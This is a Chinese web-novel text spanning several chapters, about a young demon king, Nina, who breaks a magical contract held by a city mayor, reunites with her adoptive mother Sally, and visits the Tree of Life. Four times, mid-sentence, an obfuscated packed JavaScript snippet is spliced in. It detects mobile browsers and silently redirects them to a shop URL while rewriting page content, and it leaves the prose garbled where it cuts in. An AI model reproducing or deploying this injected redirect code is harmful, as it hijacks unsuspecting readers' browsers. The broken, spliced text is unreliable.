妮娜挑了一下眉，突然露出稳操胜券的表情：“魔法协议？让我看看。” 波多尔对秘书使了一个眼色。 妮娜以为他打算让下属去找出那份文件，但是那位秘书先生在领会到波多尔的眼神之后，径直离开了办公室。 波多尔从沙发上站了起来，走到那张高雅的书桌后方，弯腰拉开一只抽屉，在里面摸索了一小会儿，找到了一个用魔法术式封印起来的文件袋。 “协议就在这里面，我要把它打开了。”他说着，一边抬起头来看了访客一眼，“是您说要看看的，所以我不对产生的后果负责。” 妮娜不理解他这一举动的意义，只是点了点头：“请。” 乌瑟这时突然想到了什么，弓着身体，凑到妮娜耳边低声说道：“那上面可能刻有会针对协议的无关人员的防卫性攻击魔法，只要在场就会受到伤害。” 所以市长才会让秘书先离开这里，却没有对他们做出任何提醒。看来他的态度依然举棋不定，说不定还抱着几分想要看他们好戏的心思。 然而还不等妮娜做出反应，波多尔已经解开了文件袋外面的线圈，一股不快的气息从松开的袋口四散开来，让人感到毛骨悚然。室温都仿佛一下子低了好几度。 万幸那个魔法能够造成的影响似乎非常有限，除了觉得有那么点冷之外，妮娜再没有产生更多不适。 正当她逐渐放松警惕的时候，乌瑟痛苦的声音从沙发后面传来。那个附加魔法没有对她真正起效，但是在这位魔女的身上发生了剧烈的反应。 她立刻站了起来，将乌瑟挡在身后，希望能借此挡住魔法的辐射，不过由于身高差距悬殊，加上魔法的生效路径并不是直线，这么做的效果并不显著。 “不准伤害我的人。”她有些生气地冲着那只文件袋呵斥道。 但以第三者的角度来看，她这句话只可能是对波多尔说的。 正拿着文件袋走回茶几边上的波多尔受到了惊吓，他捏着纸袋的边缘，进退两难地站在沙发前，迟迟不敢坐下，而实际上眼前这位客人的表现着实出乎他的意料。 让他签署这份协议的贵族老爷明确说过，刻印在文件袋上的魔法术式有置人于死地的能力，越是对它怀有排斥心理的人，越是会受到更加深重的创伤。 他起初还抱着一种好玩、或者说是不确信的心态抓了一只恶魔来做实验。他在没有告知实验对象文件袋内容的情况下令其尝试将袋子打开，结果那只恶魔在解开线圈的同时就因为其中的魔法力量而昏了过去。 之后他就把那只恶魔扔到了外面，据下属汇报，那家伙昏迷了一个礼拜才逐渐转醒，而且神志受损，已经失去自主行动和自主思考的能力了。 再然后，他就不知道那只恶魔去了哪里，是死是活，不过倒是确认了文件袋上那个魔法的威力。他甚至利用这个魔法的特性，将文件袋当成自己的护身符，每次去到（他自认为）危险的场所办公，便要将它带着，一旦出现状况，他就会第一时间去解开袋子上的绳圈。 这种做法在过去几年中的确数次带他脱离了险境，也让他成功回避了一些他不想会见的客人。 受害者们都是在进入市长办公室后不久便出现了眩晕、昏迷等的症状，导致预定的谈话根本无法进行。但医院的检查从来没有从这些病状中得出什么结果，只好说都是巧合。渐渐的，还出现了市长办公室被怨灵纠缠着的传言。 对于眼前的两位客人，波多尔从最开始就有故技重施的打算，他甚至熟练地想好了如何拿出文件才显得自然，只是没想到对方会主动提出要看。 这正中波多尔的下怀，可他却觉得哪里似乎怪怪的。 “您、您说什么？”他挤出尴尬的笑容，对自称珊迪亚戈·弗兰西斯科（他几乎一听就意识到这是一个伪造的名字）的代理人说道。 他不仅意外于她的发言，也意外于她似乎完全没有受到魔法的影响。而且，在她说完那句话之后，本已经作用于她身后那名魔女的魔法也消失了。 他觉得自己手里的文件袋似乎抖了一下。可是一个纸袋子怎么会发抖呢？ 妮娜转头看了乌瑟一眼，确定他已经没什么大碍之后，才回过头对波多尔说道：“没什么，我的魔女搭档最近似乎被一只鬼魂缠上了，我在叫它滚开。现在已经没事了，让我们继续讨论正事吧。” 她话里有话，让波多尔心里发虚。 她又一次坐回到沙发上，在茶几上方伸出手，示意波多尔将文件转交给她。 波多尔迫于一股无形的压力，只得老老实实照办。 他起初还抱有一丝怀疑，但在看到对方能好整以暇地接下那位大人的魔法术式之后，也只能相信她不仅是某位贵族的代理人，而且还是特别亲信的代理人，她身上一定有贵族大人赏赐的高级防御媒介。 妮娜没兴趣长时间观察一名中年男子的表情，她接过文件袋后，快速地瞪了一眼以绳圈为圆心排列着的那一群魔法术式，然后假装若无其事地从文件袋里取出那份所谓的协议。 上面明确了波多尔将研究所的管理权限归还给某位贵族，但那位贵族的真名却显示为一行无法解析的乱码，真正的文字应该也被魔法隐藏了起来。 妮娜尝试驱散文字上的魔法效果，结果却失败了。 她有点失望，同时有些意外。尽管她知道自己还没法控制那些最高级的魔法，可是一个用来隐藏文字的迷雾魔法能有多高级呢？ 在接触到这份文件之前，她觉得自己应该有能力破解上面的合同魔法，但现在她没那么自信了。 她将文件翻到最后，在双方签字的部分看到了合同魔法的具体术式，而除了术式之外，两个签名之间还用墨迹勾勒出来的迷宫一般的图案进行了连接，虽然不是常见的圆形，但这实际上也是一个魔法阵。 通过介质保存下来的长期或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321647|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滞后魔法，包括大多数魔法媒介和魔法道具，都有两个不可或缺的组成部分，即魔法术式和魔法回路。 术式表达的是该魔法运行的原理，就像程序代码一样。而回路则确定了魔力源流经过的顺序和方向，类似于电路板。回路有平面和立体的两种，魔法阵实际上就是平面形态的魔法回路。 传送阵看起来只具备回路的部分，实际上写在圆环里的那些符号就是传送魔法的术式。 妮娜一言不发地盯着协议上的这套魔法程序，好像要在那上面盯出一个洞来似的。 滋—— 空气中陡然出现一阵电流通过般的微响。房间里的三个人都听到了这个声音。 波多尔不知道发生了什么，只是愈发细致地观察起茶几对面的客人。 站在妮娜身后的乌瑟则看见协议的纸面上真的出现了一个洞。 不，其实那不是洞。 本该固定不动的墨线在妮娜·斯特尔的注视下不安地扭动了起来，一些线条和墨点连接起来，在甲乙双方的签名之间形成了一个不太规整的圆环形状，乍一看就像是被烟头烧出来的一个洞。 虽然不知道到底是什么原理，但横亘在两个签名中间的空洞仿佛昭示着合同关系的破裂，可以猜到，这份用魔法注脚的协议已经失效了，即使波多尔违背协议约定，也不会遭受魔法的反噬。 至于法律效益？ 如果这是一份能呈诸公堂的合法协议，又有什么必要加上魔法这根保险丝？更何况那还是一个心狠手辣的魔法。 妮娜将协议装进文件袋里，放在茶几上，轻轻一推，文件袋就移到了波多尔眼皮底下。 这一次，波多尔清楚地看见，文件袋确实在没人触碰的情况下颤抖了一下。 他咽了一口唾沫，将文件袋揣进手里，小心翼翼地拿出协议看了一遍，当然也就看见了那个奇妙的大洞。他发誓自己没有看到那个叫珊迪亚戈的女人在上面涂涂改改，她手上根本连一支笔都没有。 这实在不像是依靠魔法媒介就能做到的事情。这女人不是一般人。可她又明显不是一个魔女，究竟是从哪里得来的魔法？ 难道她就是戈莱特本人？ 和一无所知的平民不一样，像凯达·波多尔这种级别的公务员，对“七贵族不是普通人”这件事多多少少有些了解。 波多尔市长觉得自己的猜测并非异想天开。此事所代表的意义非同小可——戈莱特亲自出面要和那位大人作对，看来贵族院中的情况比他想象的还要恶劣。 他可不想让自己卷入到那些大人物的政治斗争中去，因为他知道到最后无论谁赢谁输，他都肯定是一败涂地的那个。 “那、那个……如果到时候……那位大人问起这件事，我、我要怎么交代才好？” 波多尔当然不敢反对戈莱特，但也不敢惹另一位大人生气。 妮娜想了想，说：“要不你索性把赫尔马岱市长的职位让出来？这样的话，你口中的‘那位大人’就没法怪到你头上去了。” 94. 第 94 章 * “创业大赛第二阶段的赛程即将落幕。 “和第一阶段结束时的情形相比，所有的项目都像是来了一次洗牌，也许没有人能在一开始就预料到，在这个节骨眼上，名列前茅的大多都是牵扯到魔族的项目。 “我对前十名的项目进行了逐一的追溯分析，并结合了一些历史和社会学的知识，想要尝试对这一现状进行分析。当然，这只是我的一些个人简介，如果各位读者有不同的意见，欢迎留言、投稿，非常期待我们的思维能碰撞出真理的火花…… “必须承认我们过去都小看了魔族这个市场，或者说我们从来没有把他们当成市场的参与者。但静下心来想想，正因如此，他们才能成为一片充满机遇的蓝海。而我以为，创业大赛的目的之一，就是鼓励大学生们去探寻那些尚未得到开发的海洋…… “其实大多数项目并非从一开始就锁定了魔族，不过有两个项目算是特例，那就是罗德里斯公寓和地狱火。他们原本就是立足于魔族进行的创业活动，不过一个将魔族作为目标客户，一个将魔族作为产品主题，这也是后续加入魔族要素的项目会面临的选择…… “但也可以看到，作为目前断层第一的罗德里斯公寓，在后续发展上走出了和所有人不同的道路，它并没有把从魔族手中收取租金作为唯一的收入来源，而是将有潜力的魔族成员们培养为媒体人、管理者、金融业务员，让他们积极参与到市场活动中，并以此为契机，打通了一条前往曾经被闭锁的海域的航路…… “社会版图上原本黑暗的一角被照亮了，人类和魔族会迎来第二个黄金时代吗？我们何尝不是站在一个风口上，剩下的，就看我们能不能抓住机会…… “——《晨风报·社评版块·从创业大赛中看到社会转型的机遇》 撰稿人：萨利·斯特尔” …… “这只是一个大学生创业比赛而已，怎么会有人真打算建立一个新的经济帝国啊？” 阿尔弗雷德仔仔细细地看完了发表在电子报刊上的这篇文章，忍不住吐槽了一句。 由于妮娜·斯特尔在多个领域的发力，导致与魔族有关的话题在近日甚嚣尘上，其中既有被科普视频引发的好奇，也有对风貌不一的魔界成员们外形上的欣赏（大多数人对魅魔们的容姿赞不绝口，但也不乏对巫妖和巨魔深深着迷的人），还有人在了解过树根的故事之后感到励志甚至感动的…… 总之，虽然不乏人类单一种族主义者的怒吼，但不少人都对魔族重新产生了中立偏好的印象。 媒体和舆论的力量确实强大。 阿尔弗雷德最初还抱着无论如何都要超过斯特尔的想法，但事情发展到了这个地步，罗德里斯公寓的实绩让他只能望洋兴叹，以至于有时候他想给对方使点绊子，都不知道该从何下手。 或许可以揭露她在日常生活中的恶劣面目——当然是靠无中生有，比如苛待员工、克扣工钱、职场霸凌、性骚扰之类的，相关的情节他要多少就能想出多少来，这就是长期浸淫于社交网络带来的灵感。 对方肯定会跑出来辟谣，但人们肯定更愿意相信她在取得惊人成功的背后一定有些不可告人的黑暗事迹。大家都喜欢把人捧到高处，再看人从神坛上陨落嘛——这对于从来都无望登上神坛的人来说简直是极佳的慰藉。 ——只要不登上去，就不会摔惨嘛。不是他们不能登，只是他们不想落到那样悲惨的结局罢了。 阿尔弗雷德开始在备忘录里创作起瞎编乱造又声情并茂的故事来。 “画展的事还没有决定好吗？” 导师7号的来信让他立刻中断了创作，他啪嗒啪嗒在聊天窗口中输入道：“我想定在下个月的15号，您看方便吗？” 导师7号：“既然说了时间由你定，当然什么时候的方便。谈定之后我把商场负责人的联系方式发给你，布展和展品就由你们自己决定了。” 阿尔弗雷德：“好的，谢谢导师。” 创业大赛第二阶段在本月底结束，下个月就要进入最终的阶段了，他打算在那个时候给地狱火造一波大的势头，好在最终回冲一个更好的名次。 虽然说超过罗德里斯公寓已经是不可能的事情了，但是第二名的位子还是可以争取一下的。 ……如果是这样的话，是不是索性放弃对付妮娜·斯特尔，转而去攻击有望和他争夺席位的项目比较好？ 阿尔弗雷德犹豫了起来，重新打开备忘录，修改了一下故事的主语，但想到现在的当务之急是准备好能让人大吃一惊的展品，也就不得不将“整蛊”的事情放到一边去了。 他脑中已经有了画展的主题和布展的设计，并对它们将产生的效果充满自信。 一定会让观众们瞠目结舌，然后不可自拔地爱上他的作品的。 * 从出狱算起，文森特接触网络的时间不长，但他已经在社交网络上混得如鱼得水，尤其是在被指定为媒体业务的负责人后。 他现在完全是一个网络达人了。 他每天都会大量浏览各种资讯，不放过每一个时事热点，也不错过任何一个转瞬即逝的风头，他既钻研零碎内容，也热爱阅读长文章。总之，把整个参赛项目的传媒□□给他绝对是一个明智的选择。 妮娜从文森特那儿收到了发表在《晨风报》上的一篇社评，里面分析了“罗德里斯帝国”的崛起之路，说得头头是道，有些事情连妮娜自己都没有想到过，文章却也条理分明地解析了一通，无论是结果导向还是过程导向，都不能说它说错了什么。 妮娜将这篇文章加入了收藏，觉得在迷茫的时候或许可以拿出来读一读。 在点击收藏按钮的时候，她在不起眼的角落里看到了文章作者的名字。 萨利是一个不算少见的名字，斯特尔这个姓氏倒是不那么常见。这个国家里不会有那么多人都叫“萨利·斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338348|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特尔”的。 妮娜困惑地看着那个署名，怀疑这位作者到底是不是自己知道的那个人，但她也没有一个人瞎想，而是很快就给萨利发去了信息。 在猎犬酒吧分别之后，她们就再也没有联络过对方。妮娜不确定萨利会不会愿意回复她的消息。就算真的割断了母女的情分，她们毕竟在一起生活了那么久，不会对彼此一点感情都没有。 而且她也渐渐能够体谅萨利的心情。不是每一个人类都有那样的心胸去抚养一个年幼的魔王，她不喜欢她也是情理之中的事。 “很感谢你对我的项目做出的评价，我想也许什么时候我们可以再见一面？” 回复来得很快，因为只有一个字：“好。” 妮娜决定邀请萨利到公寓里来坐坐——她既然能写出那样的文章，多多少少能表现出她对魔族已经没有那么深刻的偏见了。 萨利是一个自由撰稿人。 没有稳定的收入和工作是她们早期生活十分贫困的主要原因，后面随着她的稿件能够卖得上价钱，日子才变得逐渐优裕起来。 她在大学读的是社会学的专业，所以总能从她的文章中看到一些见解独到的社会观点。这也是她取得成功的要素之一。 见面约在星期六的上午。罗德里斯公寓的大门被如约敲响。 萨利还是老样子，披着黑色鬈发，眼窝深陷，穿着和她小麦色皮肤几乎融为一体的无袖衫，她手里抱着一包东西，妮娜熟悉那个包装，露出了愕然的表情。 萨利扯动了一下嘴角，看上去皮笑肉不笑：“你可能已经从你那些敏锐的房客口中知道过去的那些汤料是怎么回事了？放心，这次不一样，没有添加奇怪的东西。你可以分给你的房客们尝尝看。” 妮娜接过包裹：“进来坐，我特意买了啤酒，已经在冰箱里冰好了。如果你不喝的话，我们这儿没人会喝它的。” 萨利苦笑了一下，换上了室内拖鞋，然后在妮娜的引领下穿过走廊，一边环顾着公寓楼的环境，一边向公共区域走去。 恶魔城宽容地允许了她的进入。 “我没打算久坐，帮你喝完那罐该死的酒我就走，免得浪费。” 妮娜本想和她谈谈她们母女关系的前因后果，但听她这么说，又作罢了那些打算。今天能够让她们知道彼此近来都过得不错就够了。 萨利在桌子边上坐了下来，妮娜为她拿来已经打开的罐装啤酒，在她的对面坐了下来。 “上次的见面真是吓了我一跳，不过现在我已经知道一些原因了。”妮娜说。 萨利淡淡地应了一句：“哦。” 这时候，有人从楼上走下来。 “妮娜，蔬菜饼干没有了，我能买一箱回来吗？”阿加雷斯从楼梯上向厨房探出脑袋。 “当然。你有钱吗？”妮娜抬头问道。 “嗯。”阿加雷斯下了楼，径直向门口走去，那身影很快就消失在了门外。 95. 第 95 章 妮娜回过头望向萨利的时候，发现她正神情古怪地自言自语。 “那个人——” “那个人怎么了吗？” 妮娜看看萨利，又看看那扇已经关上的门。 萨利像是陷入了某种对过往的追思，过了一小会儿，才缓缓摇头：“没什么，只是他让我想起了一位故交。” “我都不知道你原来还有朋友……在我的记忆里你总是独来独往，哦，当然还带着我这个小累赘。”妮娜说。 萨利不置可否地笑笑：“只是认识的人而已，你可别擅自替我交朋友。我确实喜欢独来独往，不过那个时候网络通讯已经发展起来了，通过网络就能解决的事情我不喜欢放到线下。” “那我今天应该感到荣幸，竟然能见到你的真人。”妮娜说。 萨利斜了她一眼，又风轻云淡地问道：“可以和我说说刚才那个人吗？” 这个要求让妮娜始料未及，她眨了眨眼睛：“他在外形上确实是一位有魅力的男性。如果你看过那个被封禁的科普视频的话——” “别说这些废话，他叫什么，是怎么成为你这儿的住户的？”萨利打断了她。 妮娜只得老实答到：“他叫阿加雷斯，是——” 这次，又是没等她说完，萨利便阻止了她接下去那些发言的登场，“阿加雷斯？！阿加雷斯·格尔克诺？！！” 妮娜将脸皱成一团，表情显得相当无奈：“当然不是，他只是恰好和格尔克诺同名。他没有姓氏——” 说到这里，妮娜自顾自地顿住了。 当初她之所以确信阿加雷斯是他的真名，是因为她暗中使用了命令的句式询问他的名字，但现在既然已经知道他并不受到绝对王权的约束，那关于他的一切就要打上一个问号了——就像他的真实身份一样。 萨利显然不知道她在想什么，抓起桌上的啤酒瓶恶狠狠地喝了一口，然后用带着啤酒花的香味的语气说道：“最好真的只是恰好同名。” 妮娜觉得她好像猜到了自己在顾虑什么，但实际并非如此。 对萨利来说，阿加雷斯这个名字，还有那张看似真诚爽朗的脸，都只会给她带来不那么愉快的回忆。 就是那家伙把妮娜这个烫手山芋丢给她的。 萨利·斯特尔不是一个能定下心来的人。 在她那个年代，还没有像现在这样的失业浪潮，正经从大学毕业的年轻人永远不会找不到工作，只是她不想被某个确定的职位，以及某间办公室束缚住，她选择当一个居无定所、浪迹天涯的人。 打零工和写稿赚到的钱完全可以覆盖她的生活开支，她一直过着并不富裕但是自由自在的日子。 但是要再多一张吃饭的嘴、再多添一套餐具，事情可就大不一样了，更何况她还得支付这个小累赘的学费，每个季节至少要给她买一套像样的衣服。 一旦小东西在学校里和人闹了矛盾，发展到动手动脚的地步，她就不得不跑一趟学校，向受害者的家长道歉并支付赔偿。 妮娜一再声明先来找麻烦的是对方，她的行为绝对是“正当防卫”，但萨利不想知道这其中的因果关系，只知道自己因她受了累。 还有，正当防卫，正当防卫，她到底是从哪里学来这样的单词？！ 她梦想的生活完全因为阿加雷斯的托付和妮娜的到来而变得支离破碎，从自由的风滚草变成了一地鸡毛。 “对了，有一件事我觉得还是向您坦白比较好。这孩子不是一个普通人。” “那就是不普通的人啰？” “不，不，她不是人类。” “嗯……那就是一个魔族？她完全长着人类小女孩的模样——所以她八成是一个魅魔？希望她日后不要因为行为不端给我惹上什么麻烦。不过说是魅魔，她长得又没那么漂亮，只能说是不丑。” “不，她不是魅魔。她的心地很好，举止也很文雅，学什么都很快，她是一个很省心的孩子，她日后在学校的表现一定会让您感到自豪的。” “别想糊弄过去，她不是魅魔，那她到底是什么？我才不信一个小魔物能像人类一样善良、文雅和聪明，更不用说什么让我感到自豪。简直是开玩笑。” “呃……好吧，我会如实地将情况告知给您，希望您能够做好心理准备，不要过于惊讶。” “我倒要看看你能吐出什么象牙来。” “她是一个魔王。” 其实妮娜是魅魔也好，魔王也罢，甚至不管是人类还是魔族，对萨利来说都没有太大的差别。 她只知道阿加雷斯当初给她的保证绝对是一纸空谈。 她果然不能指望一个魔族心地善良、举止文雅，她因为这小东西在学校惹是生非，十二年来不知被请去学校多少次。 以至于她后来在某些人的指导下往她的饭食里加入魔族专用的抑制剂，期待这种药物能够产生扼制她暴力冲动、避免她产生魔族特征的效果。 从结果来看，她不确定是药物发挥了作用，还是“魔王”本来就是一种极其接近人类的物种，妮娜确实如一个人类女孩那样长大了。 阿加雷斯只有一点没有说错。她学什么都很快，又快又好。 每个期末她都能往家里带一张无可挑剔的成绩单。 最后一张寄往家中的成绩单就是恩斯法内大学的录取通知书。 这对于巴尼斯这个小村庄来说简直是件开天辟地的大事，以村长为首的村民们欢天喜地地举办了庆功宴，口口声声称妮娜是巴尼斯的骄傲。 那些曾经和妮娜闹过肢体纠纷的孩子们也站了出来，向当年的事情表示歉意。 直到那时候萨利才相信妮娜的“从没主动挑事”大概是真话。 再说回阿加雷斯为什么把这个孩子丢给她。 契机非常简单，那时候萨利周游全国，正在某个南方郊野的公路旅店歇脚，碰见了看上去正在亡命天涯的青年和他带着的女孩，并慷慨地向他们提供了帮助，捏造谎言帮他们骗走了前来追捕的搜索队员。 然后她就被赖上了。 实在是应了那句话，人善被人欺！ 作为根本就谈不上报酬的报酬，青年告诉了她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13361248|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些秘闻，包括他就是三百年前的勇者阿加雷斯·格尔克诺，以及他身边的女孩就是年幼的魔王。 贵族院正在暗中缉拿他们两个。 他用一些无法用魔术和障眼法解释的能力证明自己说的都是真的。 勇者和魔王相依为命，童话故事和传奇逸闻从来不这么书写。 都怪那个年纪的自己太过天真，太喜欢浪漫，太憧憬冒险，所以才草率地同意了阿加雷斯的请求。 如果她一开始就知道接受这个请求即意味着放弃过去的生活，那她一定会三思而后行。 在那之后其实还发生了很多事。 阿加雷斯给萨利留下了一个能够躲避搜捕的魔法以及一笔钱后自愿被搜索队的魔女带走。 萨利则在那个魔法的庇护下藏到巴尼斯村，并在那里定居，独自抚养当时七八岁大的小东西。 阿加雷斯的魔法在几年后失效，贵族院的人找上门来，但是没有带走小魔王，反而命令萨利继续抚养这家伙，定期汇报情况，以及再三叮嘱避免让她接触与魔族及魔法相关的事物，最后，加大抑制剂的剂量。 那些无赖，甚至没有为这个命令支付酬金。 因为那是“命令”，而不是“委托”。 其实萨利一直说不准，定居、抚养孩子、对勇者传奇的幻灭或是其他，到底是哪件事让她失去了浪漫和幻想的天性，变成了如今这几乎称得上愤世嫉俗的样子。 阿加雷斯·格尔克诺现在应该仍被禁闭在贵族院中的某处，虔诚地祈盼着曾经与他一同冒险的那个小魔王的幸福和安康。 “我喝完了，谢谢你的招待。我知道你最近一定很忙，但如果你愿意在暑假的时候回一趟巴尼斯的话，村长一定会很高兴的。”萨利将已经空了的易拉罐放到桌上，她一点也不期望“女儿”的挽留，所以飞快地站了起来，站到妮娜伸手能够够到的范围之外。 “我会回去的，萨利，我不知该怎么感谢你，把我这样浑身麻烦的小孩抚养成人，你还为我的项目写了那么好的稿子。最近项目的关注度增长得很快，我想那一定有你的功劳。”妮娜也站了起来。 “功劳有限。”萨利说，“就送到门口好了。” 她想趁着那个名叫阿加雷斯的住户回来之前赶紧离开。 她不想去确认那家伙的身份。这样她就没有什么可以向贵族院汇报的了。 妮娜在罗德里斯公寓的大门外站了很久，直到萨利的身影彻底消失在街道的一头，她第一次发现她身上有一种古代流浪民族般的气质，有着浅棕色的皮肤、粗糙的黑发、随性的装束，像生长在荒野上的野麦子一样，散发着孤独而自由的香气。 “你在这里等我吗？”阿加雷斯抱着一只印有墨绿色装饰线和黑体字的箱子从门前来往的人群中钻了出来。 “我只是在为萨利送行。”妮娜无情地摇了摇头，“对了，我想找个机会去赫尔马岱看看生命之树，你要不要一起？” 和萨利的再会奇异地唤起了她对母亲的渴求。而她已经知道那棵亘古隽永的大树其实才是她真正的生母。 96. 第 96 章 …… 和其他所有魔族一样，魔王也是生命之树的子女。 不管是曾经的魔界学者，还是当代人类对于魔族展开的研究，都习以为常地将所有魔物划分为十个种族。 它们的具体名称及分支在前面曾经提过，这里不再赘述。 我想说的是，这其实是一种错误的观念。 我想，几百年前的魔界学者之所以一直沿用这个并不准确的体系，应该是为了表达对他们那位至高之王的尊敬，至于人类使用这个“十种族”的体系，则基本是因为对魔族的不甚了解。 人类似乎从来没有考虑过，身为魔界领袖的魔王应该被归于哪个种族。 他不符合十种族中任何一种的主要特征，可他又确凿无疑是魔界的一员。那么他究竟是什么呢？ 原谅我在这里绕圈子，因为格兰德曾经用这个问题捉弄过我，所以我也想用同样的招数来对付我的读者。 其实答案很简单，“魔王”不仅仅是一个对魔界统治者的称谓，还是一个种族的名称。 没错，魔王也是一个独立物种，一个缺乏同类的寂寞种族。 每一颗魔王之卵都诞生于生命之树最高的枝头。 在果实临近成熟的时候，每一位魔王都会不舍昼夜的守候在树下，准备亲自接住那颗尚还脆弱的宝物——如果让它跌落在地，将会引发严重的后果。 我想大家都看到过直到熟透都没有被人从树上摘下的水果会有什么下场，那就是摔成一滩烂泥。 光是看到格兰德在照顾那颗新落下的果实时有多么专注和细心，就能想象两代魔王之间的关系有多么紧密。 那是他唯一的、真正可以被称为同族的存在，而他也将遵循生命之树的指引，把自己所有的余寿和力量都奉献给自己的继任者。 格兰德说，上一代魔王也是这样无微不至地照顾他的。照顾他的生活起居，照顾他年幼时脆弱敏感的情绪，教给他知识，教他如何管理魔界，教他如何控制魔法…… 最后，在他能够独当一面的时候，教会他永别。 所有的魔王在这样的传承中被联系到了一起，尽管他们中的绝大多数都没有互相碰过面。 格兰德曾经对我说过，如果他在小魔王能够独立之前出了什么意外，希望我能代他履行职责。 他能出什么事呢？而我又怎么可能替他履行如此重大的职责？我有什么资格插足到这伟大神圣的一脉单传之中。 我不知道他在说那句话的时候，预见了怎样的未来。我只是不安地问他，为什么是我？ 他说了一句让我至今仍然感到羞愧的话。 “你具备足够多的美德，只是少了一点勇气。” 我不认为自己是一个品德高尚的人，不过我胆子确实很小。 这样的我，却成了那个所谓的勇者。世界上恐怕没有更加讽刺的事情了。 更何况，曾经有人说过，如果一个人缺乏勇气，那他所具备的其他一切美德都将失去意义。 然后……在卵果孵化之前，战争就爆发了。 ——《勇者笔记·第四卷（未发表）》 * 阿加雷斯以为看望生命之树的旅程将会是他与妮娜·斯特尔的一场约会，现在看来他是大错特错。 这似乎是一场规模庞大的公司团建。 罗德里斯公寓的所有成员，包括两位人类，还有二号矿区的两位负责人，及工人代表……一支堪称浩浩荡荡的队伍正站在那棵大树面前，被笼罩在它慈爱的树荫之下，听着风吹过枝叶时发出的沙沙声响。 这棵树流露着疲态，但仍在固执地攫取着生机。 时间像是凝固了一样，空气中滋生着一种在圣灵教堂也不曾出现过的神圣感，众人的低语和呢喃丝毫没有打破这份宁静。 “我在研究所的编号是2671239，”乌鸦突然走到妮娜身边，说道，“意思是出生于267年12月，39号树枝。” 她仰着脑袋，在算不上特别茂密的枝叶间寻找着。 妮娜这才发现每根树枝上都挂着一个号牌，有些号牌上只标记了一个数字，但有的似乎还有更多内容，只是距离太远，看不清上面究竟写了什么。 “在那里！”她在乌鸦前头找到了标记为39的树枝，伸手指了一下。 不光是乌鸦，所有人的视线都朝着那个方向汇聚过去。大树仿佛感受到了众人的视线，在风中轻轻晃动了一下。 39号树枝的枝头正挂着一个拳头大小的果实，颜色十分青涩，看起来离成熟还有很长一段时间。 “那应该是前不久才结出的果实，”不等妮娜发问，乌瑟便解释起来，“等它瓜熟蒂落，应该是至少两年后的事情了。” “不知道会是弟弟还是妹妹，也不知道会是哪个种族……”乌鸦的语气里难得流露出柔和的味道，“我想亲自迎接它的出生。” “一定可以的。”妮娜说。 在她的“威逼利诱”之下，凯达·波多尔已经将包括生命之树在内的与研究所相关的权限转移到了“戈莱特”的名下——实际上则是妮娜·斯特尔的手中。 为了不打草惊蛇，妮娜仍让研究所维持原有的研究项目，只是在一定程度上放缓进度，并以材料不足的借口降低新型魔女的生产速度，并让负责管理魔物出生及早期养育情况的职员在登记新生儿资料的时候抄送一份到她这里。 对研究所方面，妮娜让波多尔市长隐瞒权限交接的事实，在每次进入研究所进行实地考察的时候，也都装作是“那位大人”的代理人，并且由乌瑟和市长伴行——通过这种掩人耳目的方式，她轻轻松松就赢得了研究人员们的信任，甚至得以进入一些机密资料的存放场所。 不过也有因为心急而险些露馅的时候。 妮娜提出想要核对与新型魔女生产相关的参数资料，当时研究所方面派出的随行人员是一名负责这方面数据管理的年轻人，看起来才刚刚进入社会不久——也许正是出于此种原因，他嗅到了妮娜身上那种在校大学生的气息，从而产生怀疑也说不定，他的态度从一开始就充满戒备。 “我想看一看准备阶段的材料及生产依据报告，这里还有留存吗？”妮娜想通过这些初期资料判断新型魔女的生产原理，从这类资料入手虽然难以得到准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368780|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确的线索，但也不容易让人起疑。 年轻人很快就拿来了纸质版的文件，并且在妮娜翻阅的过程中一直紧盯着她。 那双视线太过强烈，就算妮娜低着头，也能感受到从前方传来的那股压力。 她试图转移他的注意，便抬头扫了一眼他的名牌，说了一些无关紧要的话：“我想你大概刚来这里没多久，对吧，尤金？” 她完全没想到这些话只会让她显得更加可疑。 “是的，女士。我是去年毕业的。参加工作的时间还只有半年。” “最近工作不好找，能在研究所谋到一个职位也挺了不起的。” 